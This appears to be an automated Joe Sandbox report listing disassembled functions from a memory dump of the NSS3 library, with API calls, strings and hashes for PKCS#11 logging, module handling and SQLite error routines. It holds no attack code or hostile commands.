Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nm
API String ID: 1003633598-1734659225
Opcode ID: d188f854cc155119c79debed2147e949e86aa805df69a66bd7e2ea1790436606
Instruction ID: af6aa280a662687919de846c32c7005906bce8c9749f7a92faf6c402f9586a6a
Opcode Fuzzy Hash: d188f854cc155119c79debed2147e949e86aa805df69a66bd7e2ea1790436606
Instruction Fuzzy Hash: 5931D535709115AFEB10DB65EC88BAB37B5EB42318F194025FD08D7252EB31D954CB92

Function 6CFC7E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CFC7E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFC7E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC7E63

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFC7E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CFC7E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CFC7EB1

Strings

C_VerifyUpdate, xrefs: 6CFC7E21
hSession = 0x%x, xrefs: 6CFC7E3E, 6CFC7E4E
(CK_INVALID_HANDLE), xrefs: 6CFC7E5C
ulPartLen = %d, xrefs: 6CFC7EAC
pPart = 0x%p, xrefs: 6CFC7E93
nm, xrefs: 6CFC7EC9, 6CFC7EF7

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$nm
API String ID: 1003633598-2561245134
Opcode ID: ae59112ea914eaf904d0f6e25360d2b55cb1a70f09572065e185d47607bf7371
Instruction ID: 7a6ef592275d3723427ef10a2eeb48266516b8c259a68916b1b1a858db814655
Opcode Fuzzy Hash: ae59112ea914eaf904d0f6e25360d2b55cb1a70f09572065e185d47607bf7371
Instruction Fuzzy Hash: 5831F476B06115AFEB109B65ED88F9F3BB5EB42318F194025ED0C97252DB309D08CBA7

Function 6CFC7F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CFC7F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFC7F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFC7F93

Part of subcall function 6D0AD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0AD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFC7FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CFC7FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CFC7FE1

Strings

hSession = 0x%x, xrefs: 6CFC7F6E, 6CFC7F7E
(CK_INVALID_HANDLE), xrefs: 6CFC7F8C
C_VerifyFinal, xrefs: 6CFC7F51
ulSignatureLen = %d, xrefs: 6CFC7FDC
pSignature = 0x%p, xrefs: 6CFC7FC3
nm, xrefs: 6CFC7FF9, 6CFC8027

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$nm
API String ID: 1003633598-3971610870
Opcode ID: b703a470e6afbb65f488db6814c93b75378b107589820e53c6def42b2859be40
Instruction ID: 8194706d039eeab4bc052087eb196ffb3ee24a1551c305ba0d9e799c194eb0e6
Opcode Fuzzy Hash: b703a470e6afbb65f488db6814c93b75378b107589820e53c6def42b2859be40
Instruction Fuzzy Hash: 9031F335B0A145ABEB10DB64EC88F9B3BB1EB42318F194025ED0C97212DB30D848CBE6

Function 6CF8AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CF8AF47

Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590AB
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590C9
Part of subcall function 6D059090: EnterCriticalSection.KERNEL32 ref: 6D0590E5
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D059116
Part of subcall function 6D059090: LeaveCriticalSection.KERNEL32 ref: 6D05913F

FreeLibrary.KERNEL32(?), ref: 6CF8AF6D
free.MOZGLUE(?), ref: 6CF8AFA4
free.MOZGLUE(?), ref: 6CF8AFAA
PR_ExitMonitor.NSS3 ref: 6CF8AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CF8AFF5
PR_ExitMonitor.NSS3 ref: 6CF8B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF8B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CF8B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF8B03C

Strings

Unloaded library %s, xrefs: 6CF8B023
%s decr => %d, xrefs: 6CF8AFF0

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 43c3866d57a26e5bb0e9def27833f960ad302b86391826bf11627839f06a94f1
Instruction ID: 13fe730597e457287a67181317641d6334a2e4411f3590c356dfc1759a8a61bd
Opcode Fuzzy Hash: 43c3866d57a26e5bb0e9def27833f960ad302b86391826bf11627839f06a94f1
Instruction Fuzzy Hash: 1F31FBF5A0A111ABEB019F65EC40F1AB7B5EB0570CB2D4125EC1997A81F732E824C7E2

Function 6CFD6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CFD781D,00000000,6CFCBE2C,?,6CFD6B1D,?,?,?,?,00000000,00000000,6CFD781D), ref: 6CFD6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CFD781D,?,6CFCBE2C,?), ref: 6CFD6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CFD781D), ref: 6CFD6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CFD6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CFD6C96

Part of subcall function 6CF81240: TlsGetValue.KERNEL32(00000040,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF81267
Part of subcall function 6CF81240: EnterCriticalSection.KERNEL32(?,?,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF8127C
Part of subcall function 6CF81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF81291
Part of subcall function 6CF81240: PR_Unlock.NSS3(?,?,?,?,6CF8116C,NSPR_LOG_MODULES), ref: 6CF812A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CFD6CAA

Strings

rdb:, xrefs: 6CFD6C69
sql:, xrefs: 6CFD6C52
dbm:, xrefs: 6CFD6C3A
dbm, xrefs: 6CFD6CA4
extern:, xrefs: 6CFD6C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6CFD6C91

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 5b885d81297234d9300255beb583813067e7c0fba8c39a09f6a4b2185eb3472c
Instruction ID: 1acfbd40e4072157701d2e4ef989bc2d937be0be8789979dd6af4d06fe2495c8
Opcode Fuzzy Hash: 5b885d81297234d9300255beb583813067e7c0fba8c39a09f6a4b2185eb3472c
Instruction Fuzzy Hash: 5501A2A1B0232127F660177D6C4AF37355C9F8555AF090432FF19E1282FBA2E91840A9

Function 6CFE4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CFA78F8), ref: 6CFE4E6D

Part of subcall function 6CF809E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CF806A2,00000000,?), ref: 6CF809F8
Part of subcall function 6CF809E0: malloc.MOZGLUE(0000001F), ref: 6CF80A18
Part of subcall function 6CF809E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CF80A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CFA78F8), ref: 6CFE4ED9

Part of subcall function 6CFD5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CFD7703,?,00000000,00000000), ref: 6CFD5942
Part of subcall function 6CFD5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CFD7703), ref: 6CFD5954
Part of subcall function 6CFD5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CFD596A
Part of subcall function 6CFD5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CFD5984
Part of subcall function 6CFD5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CFD5999
Part of subcall function 6CFD5920: free.MOZGLUE(00000000), ref: 6CFD59BA
Part of subcall function 6CFD5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CFD59D3
Part of subcall function 6CFD5920: free.MOZGLUE(00000000), ref: 6CFD59F5
Part of subcall function 6CFD5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CFD5A0A
Part of subcall function 6CFD5920: free.MOZGLUE(00000000), ref: 6CFD5A2E
Part of subcall function 6CFD5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CFD5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CFA78F8), ref: 6CFE4EB3

Part of subcall function 6CFE4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CFE4EB8,?,?,?,?,?,?,?,?,?,?,6CFA78F8), ref: 6CFE484C
Part of subcall function 6CFE4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CFE4EB8,?,?,?,?,?,?,?,?,?,?,6CFA78F8), ref: 6CFE486D
Part of subcall function 6CFE4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CFE4EB8,?), ref: 6CFE4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CFA78F8), ref: 6CFE4EC0

Part of subcall function 6CFE4470: TlsGetValue.KERNEL32(00000000,?,6CFA7296,00000000), ref: 6CFE4487
Part of subcall function 6CFE4470: EnterCriticalSection.KERNEL32(?,?,?,6CFA7296,00000000), ref: 6CFE44A0
Part of subcall function 6CFE4470: PR_Unlock.NSS3(?,?,?,?,6CFA7296,00000000), ref: 6CFE44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CFA78F8), ref: 6CFE4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CFA78F8), ref: 6CFE4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CFA78F8), ref: 6CFE4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CFA78F8), ref: 6CFE4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFA78F8), ref: 6CFE4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFA78F8), ref: 6CFE4F8F
PK11_UpdateSlotAttribute.NSS3(?,6D0BDCB0,00000000), ref: 6CFE4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CFE501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CFA78F8), ref: 6CFE506B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: abb709a28135192c9cac876af6399ee7f5047b60b52009272885a0e96298f242
Instruction ID: 6b00f0669908f4e92521fbe0f76879638e90ee4d04afc87a354b040afe514174
Opcode Fuzzy Hash: abb709a28135192c9cac876af6399ee7f5047b60b52009272885a0e96298f242
Instruction Fuzzy Hash: 4D51F4B5C01242ABEB119F74EC017AB3AB4FF0931CF190539ED0687A11F771E525CA92

Function 6CF8ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF8ACE2
malloc.MOZGLUE(00000001), ref: 6CF8ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF8AD02
TlsGetValue.KERNEL32 ref: 6CF8AD3C
calloc.MOZGLUE(00000001,?), ref: 6CF8AD8C
PR_Unlock.NSS3 ref: 6CF8ADC0
free.MOZGLUE(00000000), ref: 6CF8AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF8AE58
free.MOZGLUE(00000000), ref: 6CF8AE69
free.MOZGLUE(?), ref: 6CF8AE78
PR_Unlock.NSS3 ref: 6CF8AE8C
free.MOZGLUE(?), ref: 6CF8AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF8AEC7

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 1618b7473807e928fe91339407b9c9b39acbd2dce44e4b38060eafe4860d662b
Instruction ID: e2e1160f0c58eebe4245168c1146a317bbe98aecac64d5b5cac2f95343e68c8c
Opcode Fuzzy Hash: 1618b7473807e928fe91339407b9c9b39acbd2dce44e4b38060eafe4860d662b
Instruction Fuzzy Hash: 1E51B0B2D021169BDF00CF95E8417AF77B4FB06708F280429DD14E3680E331A914CBE6

Function 6D064C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6D064CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6D064CFD
sqlite3_value_text16.NSS3(?), ref: 6D064D44

Strings

bad parameter or other API misuse, xrefs: 6D064D05
abort due to ROLLBACK, xrefs: 6D064D27, 6D064D33
out of memory, xrefs: 6D064C78, 6D064C9E
no more rows available, xrefs: 6D064D2E
API call with %s database connection pointer, xrefs: 6D064CF6
unknown error, xrefs: 6D064D56
another row available, xrefs: 6D064D20
invalid, xrefs: 6D064CF1

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 42d27d6bedeb79126f217be99bee75b51011ca996ed47967b3d1d3d712f95eaf
Instruction ID: 20f3448ecfc9746e3d0fb6f9542c8065a98477cb06e85ee412c7ead66e82e91d
Opcode Fuzzy Hash: 42d27d6bedeb79126f217be99bee75b51011ca996ed47967b3d1d3d712f95eaf
Instruction Fuzzy Hash: 1D315771E0C8D2BBF7494A28A8307BD77A2BB8A324F444025D8244B759C721EC5583F3

Function 6CFC2CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CFC2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CFC2D07

Part of subcall function 6D0A09D0: PR_Now.NSS3 ref: 6D0A0A22
Part of subcall function 6D0A09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6D0A0A35
Part of subcall function 6D0A09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6D0A0A66
Part of subcall function 6D0A09D0: PR_GetCurrentThread.NSS3 ref: 6D0A0A70
Part of subcall function 6D0A09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6D0A0A9D
Part of subcall function 6D0A09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6D0A0AC8
Part of subcall function 6D0A09D0: PR_vsmprintf.NSS3(?,?), ref: 6D0A0AE8
Part of subcall function 6D0A09D0: EnterCriticalSection.KERNEL32(?), ref: 6D0A0B19
Part of subcall function 6D0A09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D0A0B48
Part of subcall function 6D0A09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D0A0C76
Part of subcall function 6D0A09D0: PR_LogFlush.NSS3 ref: 6D0A0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CFC2D22

Part of subcall function 6D0A09D0: OutputDebugStringA.KERNEL32(?), ref: 6D0A0B88
Part of subcall function 6D0A09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6D0A0C5D
Part of subcall function 6D0A09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6D0A0C8D
Part of subcall function 6D0A09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0A0C9C
Part of subcall function 6D0A09D0: OutputDebugStringA.KERNEL32(?), ref: 6D0A0CD1
Part of subcall function 6D0A09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6D0A0CEC
Part of subcall function 6D0A09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0A0CFB
Part of subcall function 6D0A09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D0A0D16
Part of subcall function 6D0A09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6D0A0D26
Part of subcall function 6D0A09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0A0D35
Part of subcall function 6D0A09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6D0A0D65
Part of subcall function 6D0A09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6D0A0D70
Part of subcall function 6D0A09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D0A0D90
Part of subcall function 6D0A09D0: free.MOZGLUE(00000000), ref: 6D0A0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CFC2D3B

Part of subcall function 6D0A09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6D0A0BAB
Part of subcall function 6D0A09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0A0BBA
Part of subcall function 6D0A09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0A0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CFC2D54

Part of subcall function 6D0A09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0A0BCB
Part of subcall function 6D0A09D0: EnterCriticalSection.KERNEL32(?), ref: 6D0A0BDE
Part of subcall function 6D0A09D0: OutputDebugStringA.KERNEL32(?), ref: 6D0A0C16

Strings

slotID = 0x%x, xrefs: 6CFC2D02
pLabel = 0x%p, xrefs: 6CFC2D4F
pPin = 0x%p, xrefs: 6CFC2D1D
C_InitToken, xrefs: 6CFC2CE7
ulPinLen = %d, xrefs: 6CFC2D36
nm, xrefs: 6CFC2D6C, 6CFC2D9A

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nm
API String ID: 420000887-3938363241
Opcode ID: 0fd37132cb667064e96e8a15b46afc9c6df56ae14bb455a3377ebe0361aa52aa
Instruction ID: bf16fb4643af2c5b85ef7a7dc242b1fd1fcb1cc41f4da1d5b894ec74245c33c6
Opcode Fuzzy Hash: 0fd37132cb667064e96e8a15b46afc9c6df56ae14bb455a3377ebe0361aa52aa
Instruction Fuzzy Hash: B321D675705245AFEB10AB64FD88B5A3BB1FB5231DF588025EE0893223CB728814CB62

Function 6D062D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6D062D9F

Part of subcall function 6CF1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CF7F9C9,?,6CF7F4DA,6CF7F9C9,?,?,6CF4369A), ref: 6CF1CA7A
Part of subcall function 6CF1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF1CB26

sqlite3_exec.NSS3(?,?,6D062F70,?,?), ref: 6D062DF9
sqlite3_free.NSS3(00000000), ref: 6D062E2C
sqlite3_free.NSS3(?), ref: 6D062E3A
sqlite3_free.NSS3(?), ref: 6D062E52
sqlite3_mprintf.NSS3(6D0CAAF9,?), ref: 6D062E62
sqlite3_free.NSS3(?), ref: 6D062E70
sqlite3_free.NSS3(?), ref: 6D062E89
sqlite3_free.NSS3(?), ref: 6D062EBB
sqlite3_free.NSS3(?), ref: 6D062ECB
sqlite3_free.NSS3(00000000), ref: 6D062F3E
sqlite3_free.NSS3(?), ref: 6D062F4C

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
